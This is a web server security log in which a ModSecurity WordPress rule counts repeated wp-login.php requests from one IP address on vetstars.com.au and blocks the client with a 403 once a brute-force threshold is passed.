[Sun Mar 01 11:35:27.600463 2026] [:error] [pid 21158:tid 21202] [client 85.11.167.108:27238] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz_zriSIe3-pWnbPYNIgAAAEk"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:30.689744 2026] [:error] [pid 34552:tid 34574] [client 85.11.167.108:34576] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0AnBlU_DRqGi4yvsZQQAAAtM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:40.208203 2026] [:error] [pid 33229:tid 33242] [client 85.11.167.108:41516] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0DHzT4c9ddlGE6FxcCQAAAYs"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:43.497873 2026] [:error] [pid 21156:tid 21184] [client 85.11.167.108:49602] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0D6saG_9IkG8N2p0SlAAAABI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:52.302281 2026] [:error] [pid 34552:tid 34573] [client 85.11.167.108:56160] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0GHBlU_DRqGi4yvsZUwAAAtI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:55.157433 2026] [:error] [pid 21156:tid 21184] [client 85.11.167.108:63402] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0G6saG_9IkG8N2p0SnwAAABI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:04.015750 2026] [:error] [pid 35060:tid 35073] [client 85.11.167.108:14666] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0JJL8JPoS_tq-tiUMqQAAA0s"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:06.903430 2026] [:error] [pid 35654:tid 35678] [client 85.11.167.108:21530] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0JkIPeuEwCTirofKVwgAAA9Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:15.973966 2026] [:error] [pid 35654:tid 35680] [client 85.11.167.108:28027] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0L0IPeuEwCTirofKV7gAAA9Y"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:18.826602 2026] [:error] [pid 21159:tid 21241] [client 85.11.167.108:35045] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0MuLi3ouy1NZIkgpSgAAAAJQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:33.310107 2026] [:error] [pid 8688:tid 8707] [client 85.11.167.108:48781] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0QTHJ4Nn-RvulD0rgWwAAAVE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:36.417642 2026] [:error] [pid 21159:tid 21230] [client 85.11.167.108:55323] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0ROLi3ouy1NZIkgpSmgAAAIk"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:45.632706 2026] [:error] [pid 35060:tid 35066] [client 85.11.167.108:62166] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0TZL8JPoS_tq-tiUMzQAAA0Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:48.675130 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:14054] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0UIC4dBNEGEcJx-OGTwAAAwE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:56.966433 2026] [:error] [pid 35654:tid 35670] [client 85.11.167.108:20643] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0WEIPeuEwCTirofKWWwAAA8w"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:36:59.909460 2026] [:error] [pid 21159:tid 21242] [client 85.11.167.108:26826] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0W-Li3ouy1NZIkgpSpQAAAJU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:37:09.171509 2026] [:error] [pid 33539:tid 33546] [client 85.11.167.108:33164] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0ZdCsLwBYg4s018u-GwAAAcE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:37:12.093998 2026] [:error] [pid 33539:tid 33567] [client 85.11.167.108:40467] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0aNCsLwBYg4s018u-HwAAAdU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:37:28.192387 2026] [:error] [pid 21263:tid 21267] [client 85.11.167.108:58177] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0eNAxjzLvN1upBhkhAAAAAMA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:37:32.098711 2026] [:error] [pid 35350:tid 35364] [client 85.11.167.108:63370] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0fIqZbPJ_JGYY1RQDhAAAA4w"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:37:41.623876 2026] [:error] [pid 21158:tid 21194] [client 85.11.167.108:14877] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0hTriSIe3-pWnbPYOCgAAAEE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:37:45.998810 2026] [:error] [pid 35654:tid 35670] [client 85.11.167.108:22451] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0iUIPeuEwCTirofKW-wAAA8w"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:11.172716 2026] [:error] [pid 33229:tid 33232] [client 85.11.167.108:50110] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0o3zT4c9ddlGE6FxchwAAAYE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:14.127862 2026] [:error] [pid 35654:tid 35678] [client 85.11.167.108:56464] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0pkIPeuEwCTirofKXYwAAA9Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:24.089676 2026] [:error] [pid 21158:tid 21208] [client 85.11.167.108:63121] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0sDriSIe3-pWnbPYOuQAAAE8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:27.044096 2026] [:error] [pid 21158:tid 21205] [client 85.11.167.108:16022] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0szriSIe3-pWnbPYOwgAAAEw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:42.860193 2026] [:error] [pid 24576:tid 24593] [client 85.11.167.108:31442] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0wovfb5CnctJh071JVQAAAQ0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:45.911874 2026] [:error] [pid 24576:tid 24594] [client 85.11.167.108:38042] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0xYvfb5CnctJh071JXQAAAQ4"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:54.128509 2026] [:error] [pid 35654:tid 35678] [client 85.11.167.108:44484] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0zkIPeuEwCTirofKX5gAAA9Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:38:57.133294 2026] [:error] [pid 33539:tid 33567] [client 85.11.167.108:50998] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO00dCsLwBYg4s018u-rAAAAdU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:11.791528 2026] [:error] [pid 21158:tid 21193] [client 85.11.167.108:65093] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO03zriSIe3-pWnbPYPPwAAAEA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:14.807348 2026] [:error] [pid 8688:tid 8709] [client 85.11.167.108:16022] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO04jHJ4Nn-RvulD0rhSwAAAVM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:23.927233 2026] [:error] [pid 34785:tid 34805] [client 85.11.167.108:22281] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO064C4dBNEGEcJx-OG6AAAAxI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:26.868741 2026] [:error] [pid 8688:tid 8709] [client 85.11.167.108:29854] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO07jHJ4Nn-RvulD0rhVgAAAVM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:41.266328 2026] [:error] [pid 8688:tid 8709] [client 85.11.167.108:43375] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO0_THJ4Nn-RvulD0rhZQAAAVM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:44.351345 2026] [:error] [pid 35654:tid 35678] [client 85.11.167.108:49843] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1AEIPeuEwCTirofKYnwAAA9Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:53.770973 2026] [:error] [pid 8688:tid 8707] [client 85.11.167.108:56584] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1CTHJ4Nn-RvulD0rhgAAAAVE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:39:56.773766 2026] [:error] [pid 24576:tid 24593] [client 85.11.167.108:63763] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1DIvfb5CnctJh071J8AAAAQ0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:05.298792 2026] [:error] [pid 33539:tid 33551] [client 85.11.167.108:15253] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1FdCsLwBYg4s018u_DAAAAcY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:08.314688 2026] [:error] [pid 21158:tid 21193] [client 85.11.167.108:22056] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1GDriSIe3-pWnbPYPhQAAAEA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:22.306167 2026] [:error] [pid 21156:tid 21171] [client 85.11.167.108:35970] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1JqsaG_9IkG8N2p0TMgAAAAU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:25.187849 2026] [:error] [pid 8688:tid 8707] [client 85.11.167.108:42274] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1KTHJ4Nn-RvulD0rhrQAAAVE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:34.453711 2026] [:error] [pid 24576:tid 24595] [client 85.11.167.108:48658] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1Movfb5CnctJh071KOgAAAQ8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:37.502044 2026] [:error] [pid 21158:tid 21193] [client 85.11.167.108:55962] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1NTriSIe3-pWnbPYPqAAAAEA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:47.475327 2026] [:error] [pid 21263:tid 21269] [client 85.11.167.108:63001] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1P9AxjzLvN1upBhkh9wAAAMI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:50.461641 2026] [:error] [pid 33229:tid 33232] [client 85.11.167.108:14182] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1QnzT4c9ddlGE6FxdCgAAAYE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:40:59.450824 2026] [:error] [pid 21156:tid 21168] [client 85.11.167.108:20369] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1S6saG_9IkG8N2p0TgQAAAAI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:02.430601 2026] [:error] [pid 21156:tid 21177] [client 85.11.167.108:27192] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1TqsaG_9IkG8N2p0TgwAAAAs"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:02.430666 2026] [:error] [pid 21156:tid 21177] [client 85.11.167.108:27192] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1TqsaG_9IkG8N2p0TgwAAAAs"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:08.535429 2026] [:error] [pid 21156:tid 21179] [client 85.11.167.108:20369] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1VKsaG_9IkG8N2p0TmQAAAA0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:11.411621 2026] [:error] [pid 8688:tid 8707] [client 85.11.167.108:36787] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1VzHJ4Nn-RvulD0rh6wAAAVE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:20.341075 2026] [:error] [pid 21156:tid 21168] [client 85.11.167.108:42684] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1YKsaG_9IkG8N2p0TrwAAAAI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:23.200020 2026] [:error] [pid 24576:tid 24581] [client 85.11.167.108:49166] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1Y4vfb5CnctJh071KlwAAAQI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:32.188875 2026] [:error] [pid 21263:tid 21267] [client 85.11.167.108:55108] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1bNAxjzLvN1upBhkiEwAAAMA"], referer: http://vetstars.com.au/wp-login.php
